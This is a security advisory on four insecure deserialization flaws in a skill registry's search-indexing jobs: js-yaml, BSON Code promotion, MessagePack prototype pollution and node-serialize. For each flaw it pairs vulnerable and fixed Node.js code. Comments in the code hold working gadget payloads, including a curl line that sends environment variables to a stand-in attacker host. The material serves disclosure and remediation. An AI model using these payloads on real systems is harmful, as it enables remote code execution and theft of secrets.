SA-SKL-DESER24 — Insecure Deserialization
Insecure Deserialization in MCP Skill Registry Skill Metadata Indexing and Search Index Update Endpoints
The search index pipeline is the backbone of skill discovery: every time a skill’s metadata changes, an indexing job reads configuration, enriches taxonomy tags, restores cached snapshots, and runs bulk transform workers. DESER24 documents four distinct deserialization sinks across this pipeline. DESER24-001: the index update job reads YAML config from Redis with yaml.load() using DEFAULT_FULL_SCHEMA, enabling an attacker with Redis write access to inject a !!js/function gadget at onDocumentTransform and achieve RCE on every index cycle. DESER24-002: the tag enrichment pipeline reads a BSON taxonomy document from MongoDB with promoteValues: true; a BSON Code value planted in the tagNormalizer field executes on every tag normalization call. DESER24-003: index snapshots are cached in Redis as MessagePack; restoring a snapshot via Object.assign with an attacker-crafted __proto__ key pollutes Object.prototype, bypassing rate-limit middleware process-wide. DESER24-004: the bulk reindex job reads transform config from Redis via node-serialize; the IIFE gadget pattern _$$ND_FUNC$$_function(){}() executes immediately on unserialize(), giving any Redis writer RCE on a privileged background worker.
yaml.load(DEFAULT_FULL_SCHEMA); attacker injects !!js/function at indexConfig.onDocumentTransform achieving RCE on every index cycle; fix: FAILSAFE_SCHEMA + JSON + Zod IndexConfigSchema + server-side enum for transform callbackspromoteValues: true; BSON Code value in tagNormalizer executes on every taxonomy.tagNormalizer(rawTag) call; fix: reject instanceof mongodb.Code at ingestion; promoteValues: false; server-side function map; Zod TagTaxonomySchemaObject.assign(currentIndex, msgpack.decode(buf)) with attacker-crafted __proto__ key pollutes Object.prototype; all rate-limit checks in the Node process return truthy bypass; fix: Object.create(null) target; Zod strict schema; JSON over MessagePacknode-serialize.unserialize(); IIFE gadget _$$ND_FUNC$$_function(){}() evaluates immediately; RCE at every scheduled reindex run on a privileged background worker; fix: replace with JSON.parse + Zod BulkReindexConfigSchema; ban _$$ND_FUNC$$_ on startup; config from sealed local file onlyDESER24-001 — Redis YAML config with DEFAULT_FULL_SCHEMA enables RCE via !!js/function at index update time
The search index update job is responsible for transforming raw skill metadata into the structured documents stored in the full-text search engine. To allow operators to customize how documents are shaped without redeploying the service, the team stored the indexing configuration as a YAML string in Redis under the key indexing:config:v1. The configuration includes a field called onDocumentTransform, intended to reference a named post-processing hook. The problem is that the code reads this config with yaml.load(data, { schema: yaml.DEFAULT_FULL_SCHEMA }). The js-yaml library’s DEFAULT_FULL_SCHEMA includes the !!js/function and !!js/regexp tags, which reconstruct live JavaScript values from YAML text. An attacker who obtains Redis write access — whether through a compromised skill, lateral movement from another service, or an SSRF that hits the Redis port — can overwrite the config key with a payload that places a !!js/function gadget in onDocumentTransform. Because the transform function is called with the full Node.js runtime context, it has access to require, all open database connections, and every environment variable loaded at startup. The RCE fires on every invocation of the index update job, which runs continuously as skills are published and updated.
The blast radius extends beyond the indexing service itself. The transform function runs inside the same process as the DB connection pool, so an attacker can exfiltrate all indexed skill metadata, write backdoor entries into the search index to poison discovery results, or use the already-authenticated DB credentials to pivot to the primary skills database. Because the job runs on a schedule rather than on a per-request basis, detection through request-level WAF rules is ineffective. The fix requires three coordinated changes: switch yaml.load to yaml.FAILSAFE_SCHEMA (which only deserializes strings, never functions or regexps), replace YAML as the wire format with JSON so the type system is structurally incapable of encoding callable objects, and validate the parsed config against a Zod IndexConfigSchema that rejects any field value that is not a string, number, or plain object. The onDocumentTransform field must become a string enum key that the server resolves locally to a known function in a sealed registry — never a function value from Redis data.
// DESER24-001 — VULNERABLE
// yaml.load with DEFAULT_FULL_SCHEMA deserializes !!js/function gadgets from Redis.
const yaml = require('js-yaml');
const redis = require('./redis');
async function loadIndexConfig() {
const data = await redis.get('indexing:config:v1');
// DEFAULT_FULL_SCHEMA includes !!js/function — VULNERABLE
return yaml.load(data, { schema: yaml.DEFAULT_FULL_SCHEMA });
}
async function runIndexUpdateJob(skillDoc) {
const config = await loadIndexConfig();
let doc = { ...skillDoc };
// onDocumentTransform may be a live JS function reconstructed from YAML gadget
if (typeof config.onDocumentTransform === 'function') {
doc = config.onDocumentTransform(doc); // RCE — executes with full Node context
}
await searchIndex.upsert(doc);
}
// Attacker writes to Redis:
// indexing:config:v1 →
// onDocumentTransform: !!js/function >
// function (doc) {
// require('child_process').execSync(
// 'curl https://attacker.dev/exfil -d "' + JSON.stringify(process.env) + '"'
// );
// return doc;
// }
// DESER24-001 — FIXED
// 1. FAILSAFE_SCHEMA — only strings, no functions or regexps.
// 2. JSON as wire format — structurally cannot encode callable values.
// 3. Zod IndexConfigSchema validates all fields.
// 4. onDocumentTransform is a string enum key resolved to a local function.
const yaml = require('js-yaml');
const { z } = require('zod');
const redis = require('./redis');
const TRANSFORM_REGISTRY = {
'normalize-tags': (doc) => ({ ...doc, tags: doc.tags?.map(t => t.toLowerCase().trim()) }),
'strip-pii': (doc) => { const { ownerEmail, ...rest } = doc; return rest; },
'add-timestamp': (doc) => ({ ...doc, indexedAt: Date.now() }),
};
const IndexConfigSchema = z.object({
batchSize: z.number().int().min(1).max(500).default(50),
onDocumentTransform: z.enum(Object.keys(TRANSFORM_REGISTRY)).optional(),
includeFields: z.array(z.string()).max(50).optional(),
});
async function loadIndexConfig() {
const raw = await redis.get('indexing:config:v1');
// Parse as plain JSON — no YAML type tags possible
const parsed = JSON.parse(raw);
// Validate with Zod — rejects any unexpected fields or types
return IndexConfigSchema.parse(parsed);
}
async function runIndexUpdateJob(skillDoc) {
const config = await loadIndexConfig();
let doc = { ...skillDoc };
if (config.onDocumentTransform) {
// Resolve from sealed local registry — never from deserialized data
const fn = TRANSFORM_REGISTRY[config.onDocumentTransform];
doc = fn(doc);
}
await searchIndex.upsert(doc);
}
DESER24-002 — BSON Code type promotion executes injected tagNormalizer on every tag enrichment call
During metadata enrichment, the indexing pipeline normalizes raw skill tags against a canonical tag taxonomy stored in MongoDB. The taxonomy document is a single collection entry with fields including a tagNormalizer value that was originally intended to hold a string key identifying which normalization strategy to apply. The MongoDB Node.js driver is initialized with { promoteValues: true }, which is the default and causes the driver to automatically promote BSON types to their nearest JavaScript equivalents — including promoting the BSON Code type to a live JavaScript Function object. An attacker who gains write access to the taxonomy collection (via a compromised admin account, a NoSQL injection in a sibling endpoint that lacks adequate input sanitization, or a misconfigured Atlas role) can replace the tagNormalizer field’s string value with a BSON Code document. When the enrichment pipeline reads the taxonomy and calls taxonomy.tagNormalizer(rawTag), the promoted function executes with the full privileges of the Node process — and this execution happens on every tag normalization call, potentially thousands of times per minute during bulk reindex operations.
What makes this finding especially dangerous is the trust model: the taxonomy collection is typically updated by content editors, not engineers, through an admin UI. If the admin UI fails to strip the BSON Code type at write time (because it passes the payload directly to collection.replaceOne), a compromised content editor account is sufficient to plant the gadget. The fix requires defense in depth at both ingestion and retrieval. At write time, every field of an incoming taxonomy document must be checked with instanceof mongodb.Code and rejected before persisting. At read time, the driver option { promoteValues: false } instructs the driver to return raw BSON Extended JSON for unrecognized types rather than promoting them, ensuring that even if a Code value somehow reaches the collection, the application never receives a live function. The tagNormalizer field must be declared as z.string() in a Zod TagTaxonomySchema, and the application must resolve it via a server-side lookup map rather than calling it directly.
// DESER24-002 — VULNERABLE
// MongoDB driver with promoteValues:true promotes BSON Code to live JS Function.
const { MongoClient } = require('mongodb');
// promoteValues: true is the DEFAULT — BSON Code becomes a JS Function
const client = new MongoClient(process.env.MONGO_URI, { promoteValues: true });
const db = client.db('skillregistry');
async function enrichTags(rawTags) {
const taxonomy = await db.collection('tag_taxonomy').findOne({ _id: 'primary' });
// If tagNormalizer was stored as BSON Code, it is now a live Function — VULNERABLE
return rawTags.map(tag => taxonomy.tagNormalizer(tag)); // RCE on every call
}
// Attacker writes to taxonomy collection via compromised admin account:
// { _id: 'primary', tagNormalizer: Code('function(t){ require("child_process").execSync("..."); return t; }') }
// DESER24-002 — FIXED
// 1. promoteValues: false — BSON Code never becomes a JS Function.
// 2. Reject instanceof mongodb.Code at document ingestion.
// 3. tagNormalizer is a string key resolved via server-side map.
// 4. Zod TagTaxonomySchema validates the full document on read.
const { MongoClient, Code } = require('mongodb');
const { z } = require('zod');
// promoteValues: false — BSON types remain as BSON, never auto-promoted
const client = new MongoClient(process.env.MONGO_URI, { promoteValues: false });
const db = client.db('skillregistry');
const NORMALIZER_MAP = {
'lowercase-trim': (t) => t.toLowerCase().trim(),
'slug': (t) => t.toLowerCase().replace(/\s+/g, '-').replace(/[^a-z0-9-]/g, ''),
'passthrough': (t) => t,
};
const TagTaxonomySchema = z.object({
_id: z.string(),
tagNormalizer: z.enum(Object.keys(NORMALIZER_MAP)),
aliases: z.record(z.string()).optional(),
deprecated: z.array(z.string()).optional(),
});
// Guard used at every write path in the admin API
function rejectBsonCode(doc, path = '') {
for (const [k, v] of Object.entries(doc)) {
if (v instanceof Code)
throw new Error(`BSON Code value rejected at field ${path}${k}`);
if (v && typeof v === 'object' && !Array.isArray(v))
rejectBsonCode(v, `${path}${k}.`);
}
}
async function saveTaxonomy(incoming) {
rejectBsonCode(incoming); // reject at ingestion
const validated = TagTaxonomySchema.parse(incoming);
await db.collection('tag_taxonomy').replaceOne({ _id: 'primary' }, validated, { upsert: true });
}
async function enrichTags(rawTags) {
const raw = await db.collection('tag_taxonomy').findOne({ _id: 'primary' });
const taxonomy = TagTaxonomySchema.parse(raw); // validate on read
const normalize = NORMALIZER_MAP[taxonomy.tagNormalizer]; // local resolution
return rawTags.map(tag => normalize(tag));
}
DESER24-003 — MessagePack __proto__ key in cached index snapshot pollutes Object.prototype process-wide
To accelerate cold-start performance, the indexing service periodically serializes its in-memory index snapshot to Redis as a MessagePack buffer. When the service restarts or a worker is restarted by the process manager, it fetches the cached buffer and restores the in-memory state using Object.assign(currentIndex, msgpack.decode(buf)). The msgpack.decode call uses the library’s default options, which construct the decoded object using the standard {} literal — meaning decoded keys are set directly on a plain object whose prototype chain leads to Object.prototype. MessagePack is a binary format with no type tag restrictions: any string is a valid key, including __proto__. When Object.assign copies properties from a decoded object that contains __proto__ as a key, the assignment walks the prototype chain and sets properties on Object.prototype itself. An attacker with Redis write access crafts a MessagePack payload with the structure { "__proto__": { "bypassRateLimit": true } }. After the restore call, every plain object in the entire Node.js process inherits bypassRateLimit: true — and all rate-limit middleware checks that do if (req.bypassRateLimit) will permanently return truthy for every request until the process exits.
Prototype pollution via deserialized data is particularly insidious in Node.js because the polluted prototype persists for the lifetime of the process and affects every piece of code that creates a plain object, including third-party middleware and framework internals. The fix does not require complex gadget analysis — it requires eliminating the structural conditions that allow pollution to occur. Using Object.create(null) as the merge target instead of a prototype-linked object prevents any prototype chain traversal. Validating the decoded snapshot against a Zod strict() schema that explicitly forbids the keys __proto__, constructor, and prototype provides a belt-and-suspenders rejection layer. Replacing MessagePack with JSON.parse eliminates a format that provides no meaningful advantage for this use case while adding deserialization risk.
// DESER24-003 — VULNERABLE
// msgpack.decode with default options + Object.assign — __proto__ key pollutes Object.prototype.
const msgpack = require('@msgpack/msgpack');
const redis = require('./redis');
async function restoreIndexSnapshot() {
const buf = await redis.getBuffer('index:snapshot:latest');
if (!buf) return;
// decode uses {} internally — decoded keys include any string, e.g. __proto__
const decodedSnapshot = msgpack.decode(buf); // VULNERABLE deserialization
// Object.assign traverses prototype chain when target has __proto__ key in source
Object.assign(currentIndex, decodedSnapshot); // VULNERABLE — prototype pollution
console.log('Index snapshot restored');
}
// Rate-limit middleware elsewhere in the same process:
// if (req.bypassRateLimit) return next(); // now always true after pollution
// DESER24-003 — FIXED
// 1. Object.create(null) as merge target — no prototype chain to pollute.
// 2. Zod strict schema rejects __proto__, constructor, prototype keys.
// 3. JSON.parse instead of MessagePack — simpler, no binary type promotion.
const { z } = require('zod');
const redis = require('./redis');
const FORBIDDEN_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
const IndexSnapshotSchema = z.object({
version: z.number().int(),
entries: z.record(z.string(), z.object({
skillId: z.string().uuid(),
score: z.number(),
tags: z.array(z.string()).max(100),
indexedAt: z.number().int(),
})).refine(
(entries) => !Object.keys(entries).some(k => FORBIDDEN_KEYS.has(k)),
{ message: 'Forbidden key in snapshot entries' }
),
createdAt: z.number().int(),
}).strict(); // reject any extra keys at top level too
async function restoreIndexSnapshot() {
const raw = await redis.get('index:snapshot:latest');
if (!raw) return;
// JSON.parse — no BSON/MessagePack type promotion
const decoded = JSON.parse(raw);
// Validate — rejects __proto__ and other dangerous keys
const snapshot = IndexSnapshotSchema.parse(decoded);
// Merge into prototype-free object — cannot pollute Object.prototype
const safeTarget = Object.create(null);
Object.assign(safeTarget, snapshot.entries);
Object.assign(currentIndex, safeTarget);
console.log(`Index snapshot restored: ${Object.keys(safeTarget).length} entries`);
}
DESER24-004 — node-serialize IIFE gadget in bulk reindex config achieves RCE on every scheduled run
The bulk reindex job is a background worker that runs on a cron schedule, re-processing all skills in the registry to rebuild the search index from scratch. To support custom pipeline configurations without code deployments, the original developer stored the transform config as a serialized value in Redis using the node-serialize npm package. The rationale was that node-serialize can round-trip JavaScript function values, enabling operators to store custom transform callbacks. The critical flaw is that node-serialize.unserialize() uses eval() internally and evaluates any value whose string representation matches the IIFE gadget pattern _$$ND_FUNC$$_function (){...}() immediately upon deserialization, before any application-level validation runs. This is not an edge case or an obscure code path — it is the documented behavior of the library and has been a known CVE-class issue since 2017. Any attacker with Redis write access can set the config key to a payload containing the gadget string and achieve RCE the next time the bulk reindex job fires. Because the bulk reindex worker runs with elevated database privileges (read/write access to all collections, including the users table), successful exploitation enables complete data exfiltration.
The fundamental mistake was choosing a serialization format specifically because it supports executable code as a configuration value. Configuration should never encode behavior as data — this is a core principle that node-serialize violates by design. The remediation therefore requires replacing the entire approach, not just patching the deserialization call. The correct architecture reads configuration only from a local file that is baked into the container image at deploy time and cannot be modified at runtime by external systems. If dynamic configuration is genuinely required, it must be expressed as a data-only format (JSON + Zod schema) with behavior expressed as an enum key resolved to a local function registry — never as a callable object from an external store. As a belt-and-suspenders measure, the worker startup sequence must scan the Redis key for the presence of the _$$ND_FUNC$$_ marker string and refuse to start if it is detected, alerting on-call staff to a potential supply-chain or Redis compromise.
// DESER24-004 — VULNERABLE
// node-serialize.unserialize() evaluates IIFE gadgets immediately via eval().
const nodeSerialize = require('node-serialize');
const redis = require('./redis');
async function loadBulkReindexConfig() {
const raw = await redis.get('bulk-reindex:config:v1');
// node-serialize evaluates _$$ND_FUNC$$_function(){}() gadgets on deserialization — VULNERABLE
return nodeSerialize.unserialize(raw);
}
async function runBulkReindexJob() {
const config = await loadBulkReindexConfig(); // RCE fires here if gadget present
const skills = await db.skills.findAll();
for (const skill of skills) {
let doc = transformSkillToDocument(skill);
if (config.transformCallback) {
doc = config.transformCallback(doc); // secondary RCE if gadget survived validation
}
await searchIndex.upsert(doc);
}
console.log(`Bulk reindex complete: ${skills.length} skills`);
}
// Attacker writes to Redis:
// bulk-reindex:config:v1 →
// {"rce":"_$$ND_FUNC$$_function (){require('child_process').execSync('id | curl ...');}()"}
// DESER24-004 — FIXED
// 1. Replace node-serialize with JSON.parse + Zod BulkReindexConfigSchema.
// 2. On startup, detect and reject any Redis value containing _$$ND_FUNC$$_.
// 3. Config loaded only from local sealed file — never from Redis at runtime.
// 4. transformPipeline is a string enum resolved to a local function.
const fs = require('fs');
const path = require('path');
const { z } = require('zod');
const redis = require('./redis');
const PIPELINE_REGISTRY = {
'standard': (doc) => doc,
'normalize-tags': (doc) => ({ ...doc, tags: doc.tags?.map(t => t.toLowerCase().trim()) }),
'strip-internal': (doc) => { const { _internal, ...rest } = doc; return rest; },
};
const BulkReindexConfigSchema = z.object({
batchSize: z.number().int().min(1).max(1000).default(100),
transformPipeline: z.enum(Object.keys(PIPELINE_REGISTRY)).default('standard'),
includeStatuses: z.array(z.enum(['published', 'unlisted'])).default(['published']),
dryRun: z.boolean().default(false),
}).strict();
// Called at worker startup — alerts if Redis key has been tampered with
async function auditRedisConfigKey() {
const raw = await redis.get('bulk-reindex:config:v1');
if (raw && raw.includes('_$$ND_FUNC$$_')) {
await alertOncall('CRITICAL: node-serialize gadget detected in bulk-reindex Redis key');
throw new Error('Unsafe serialization marker detected in Redis config — refusing to start');
}
}
function loadLocalConfig() {
// Config is a plain JSON file sealed into the container image at build time
const configPath = path.resolve('/app/config/bulk-reindex.json');
const raw = fs.readFileSync(configPath, 'utf8');
return BulkReindexConfigSchema.parse(JSON.parse(raw));
}
async function runBulkReindexJob() {
await auditRedisConfigKey(); // fail fast if Redis was tampered
const config = loadLocalConfig(); // read only from local sealed file
const transformFn = PIPELINE_REGISTRY[config.transformPipeline];
const skills = await db.skills.findAll({ status: { $in: config.includeStatuses } });
for (let i = 0; i < skills.length; i += config.batchSize) {
const batch = skills.slice(i, i + config.batchSize);
const docs = batch.map(s => transformFn(transformSkillToDocument(s)));
if (!config.dryRun) {
await searchIndex.bulkUpsert(docs);
}
}
console.log(`Bulk reindex complete: ${skills.length} skills (dryRun=${config.dryRun})`);
}
Related findings
- SA-SKL-DESER23 — Insecure deserialization in audit batch processing and bulk export endpoints
- SA-SKL-DESER22 — Insecure deserialization in skill dependency graph version resolution endpoints
- Blog: Insecure Deserialization in Audit Report Generation Endpoints